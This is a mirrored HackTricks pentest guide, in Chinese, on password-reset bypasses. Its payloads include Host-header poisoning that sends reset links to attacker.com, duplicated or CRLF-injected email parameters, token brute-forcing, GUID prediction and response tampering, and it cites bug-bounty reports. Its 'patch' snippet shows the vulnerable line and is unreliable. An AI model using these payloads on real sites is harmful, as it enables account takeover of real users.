mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
323 lines
12 KiB
Markdown
323 lines
12 KiB
Markdown
# 重置/忘记密码绕过
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||
|
||
**黑客洞察**\
|
||
深入了解黑客的刺激和挑战
|
||
|
||
**实时黑客新闻**\
|
||
通过实时新闻和洞察,跟上快节奏的黑客世界
|
||
|
||
**最新公告**\
|
||
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
||
|
||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||
|
||
以下技术汇编摘自 [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||
|
||
## 通过引用来源泄露密码重置令牌
|
||
|
||
**HTTP引用来源**是一个可选的HTTP头字段,用于识别与所请求资源链接的网页地址。引用来源请求头包含了前一个网页的地址,从该网页链接到当前请求的页面
|
||
|
||
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
||
|
||
### 利用
|
||
|
||
* 向您的电子邮件地址请求密码重置
|
||
* 点击密码重置链接
|
||
* 不更改密码
|
||
* 点击任何第三方网站(例如:Facebook,Twitter)
|
||
* 在burpsuite代理中拦截请求
|
||
* 检查引用来源头是否泄露了密码重置令牌。
|
||
|
||
### 影响
|
||
|
||
它允许控制特定网站的人更改用户的密码(CSRF攻击),因为此人知道用户的重置密码令牌。
|
||
|
||
### 参考:
|
||
|
||
* https://hackerone.com/reports/342693
|
||
* https://hackerone.com/reports/272379
|
||
* https://hackerone.com/reports/737042
|
||
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
||
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
||
|
||
## 密码重置投毒
|
||
|
||
如果您发现了主机头攻击,并且它不在范围内,请尝试找到密码重置按钮!
|
||
|
||
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
||
|
||
### 利用
|
||
|
||
* 在Burpsuite中拦截密码重置请求
|
||
* 添加以下头或在burpsuite中编辑头(逐个尝试)
|
||
```
|
||
Host: attacker.com
|
||
```
|
||
|
||
```
|
||
Host: target.com
|
||
X-Forwarded-Host: attacker.com
|
||
```
|
||
|
||
```
|
||
Host: target.com
|
||
Host: attacker.com
|
||
```
|
||
* 检查电子邮件中更改密码的链接是否指向 attacker.com
|
||
|
||
### 补丁
|
||
|
||
使用 `$_SERVER['SERVER_NAME']']` 而不是 `$_SERVER['HTTP_HOST']`
|
||
```php
|
||
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
||
```
|
||
### 影响
|
||
|
||
受害者将在他们的电子邮件中收到恶意链接,点击后,将会向攻击者泄露用户的密码重置链接/令牌,导致完全账户接管。
|
||
|
||
### 参考资料:
|
||
|
||
* https://hackerone.com/reports/226659
|
||
* https://hackerone.com/reports/167631
|
||
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
||
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
||
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
||
|
||
## 通过操纵电子邮件参数重置密码
|
||
|
||
### 利用
|
||
|
||
* 使用 & 添加攻击者电子邮件作为第二参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&email=attacker@email.com
|
||
```
|
||
* 使用%20将攻击者邮箱添加为第二个参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com%20email=attacker@email.com
|
||
```
|
||
* 使用 | 将攻击者邮箱添加为第二个参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com|email=attacker@email.com
|
||
```
|
||
* 使用 cc 将攻击者邮箱添加为第二参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||
```
|
||
* 使用 bcc 将攻击者邮箱添加为第二参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||
```
|
||
* 使用逗号将攻击者邮箱添加为第二个参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld",email="attacker@mail.tld"
|
||
```
|
||
* 在json数组中添加攻击者邮箱作为第二个参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||
```
|
||
### 参考资料
|
||
|
||
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
|
||
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
||
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
||
|
||
## 通过API参数更改任何用户的电子邮件和密码
|
||
|
||
### 利用
|
||
|
||
* 攻击者必须登录他们的账户并转到更改密码功能
|
||
* 启动Burp Suite并拦截请求
|
||
* 拦截请求后,将其发送到repeater并修改参数Email和Password
|
||
```php
|
||
POST /api/changepass
|
||
[...]
|
||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||
```
|
||
### 参考资料
|
||
|
||
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
||
|
||
### 无速率限制:电子邮件轰炸 <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||
|
||
### 利用方法
|
||
|
||
* 启动Burp Suite并拦截密码重置请求
|
||
* 发送至入侵者
|
||
* 使用空负载
|
||
|
||
### 参考资料
|
||
|
||
* https://hackerone.com/reports/280534
|
||
* https://hackerone.com/reports/794395
|
||
|
||
## 弄清楚密码重置令牌是如何生成的
|
||
|
||
找出密码重置令牌的生成模式
|
||
|
||
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
||
|
||
如果它
|
||
|
||
* 基于时间戳生成
|
||
* 基于用户ID生成
|
||
* 基于用户电子邮件生成
|
||
* 基于名字和姓氏生成
|
||
* 基于出生日期生成
|
||
* 基于密码学生成
|
||
|
||
使用Burp Sequencer来找出令牌的随机性或可预测性。
|
||
|
||
## 可猜测的GUID
|
||
|
||
有不同类型的GUID:
|
||
|
||
* **版本0:** 只在nil GUID("00000000-0000-0000-0000-000000000000")中看到。
|
||
* **版本1:** GUID的生成方式是可预测的,基于:
|
||
* 当前时间
|
||
* 一个随机生成的“时钟序列”,在生成系统的运行时间内保持不变
|
||
* 一个“节点ID”,如果系统的MAC地址可用,则基于该地址生成
|
||
* **版本3:** GUID是使用提供的名称和命名空间的MD5哈希生成的。
|
||
* **版本4:** GUID是随机生成的。
|
||
* **版本5:** GUID是使用提供的名称和命名空间的SHA1哈希生成的。
|
||
|
||
可以查看GUID并找出其版本,有一个小工具可以做到这一点:[**guidtool**](https://github.com/intruder-io/guidtool)****
|
||
```http
|
||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||
UUID version: 1
|
||
UUID time: 2021-11-17 17:52:18.141000
|
||
UUID timestamp: 138564643381410000
|
||
UUID node: 17547390002044
|
||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||
UUID clock sequence: 3426
|
||
```
|
||
如果用来生成重置密码GUID的版本是版本1,那么可以暴力破解GUID:
|
||
```http
|
||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
||
```
|
||
### 参考资料
|
||
|
||
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
||
|
||
## 响应操作:用正确的响应替换错误的响应
|
||
|
||
寻找类似这样的请求和响应
|
||
```php
|
||
HTTP/1.1 401 Unauthorized
|
||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||
```
|
||
更改响应
|
||
```php
|
||
HTTP/1.1 200 OK
|
||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||
```
|
||
### 参考资料
|
||
|
||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||
|
||
### 使用过期的令牌 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||
|
||
* 检查是否可以重复使用过期的令牌
|
||
|
||
### 暴力破解密码重置令牌 <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||
|
||
尝试使用Burpsuite暴力破解重置令牌
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&code=$BRUTE$
|
||
```
|
||
### 参考资料
|
||
|
||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||
|
||
### 尝试使用你的令牌 <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
||
|
||
* 尝试将你的密码重置令牌添加到受害者的账户
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&code=$YOUR_TOKEN$
|
||
```
|
||
### 参考资料
|
||
|
||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||
|
||
## 退出/重置密码时的会话**无效化**
|
||
|
||
当用户**登出或重置密码**时,当前会话应该被无效化。\
|
||
因此,在用户登录状态下,**获取cookies**,然后**登出**,并**检查**这些**cookies**是否仍然**有效**。\
|
||
重复这个过程,但这次是**更改密码**而不是登出。
|
||
|
||
## 重置令牌的过期时间
|
||
|
||
**重置令牌必须有一个过期时间**,过了这个时间令牌就不应该有效更改用户的密码。
|
||
|
||
## 额外检查
|
||
|
||
* 使用 username@burp\_collab.net 并分析回调
|
||
* 用户抄送 email=victim@mail.com%0a%0dcc:hacker@mail.com
|
||
* 长密码(>200)会导致DoS
|
||
* 追加第二个电子邮件参数和值
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||
|
||
**黑客洞察**\
|
||
深入了解黑客的刺激和挑战
|
||
|
||
**实时黑客新闻**\
|
||
通过实时新闻和洞察,保持与快节奏黑客世界的同步
|
||
|
||
**最新公告**\
|
||
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
|
||
|
||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载HackTricks的PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享你的黑客技巧。
|
||
|
||
</details>
|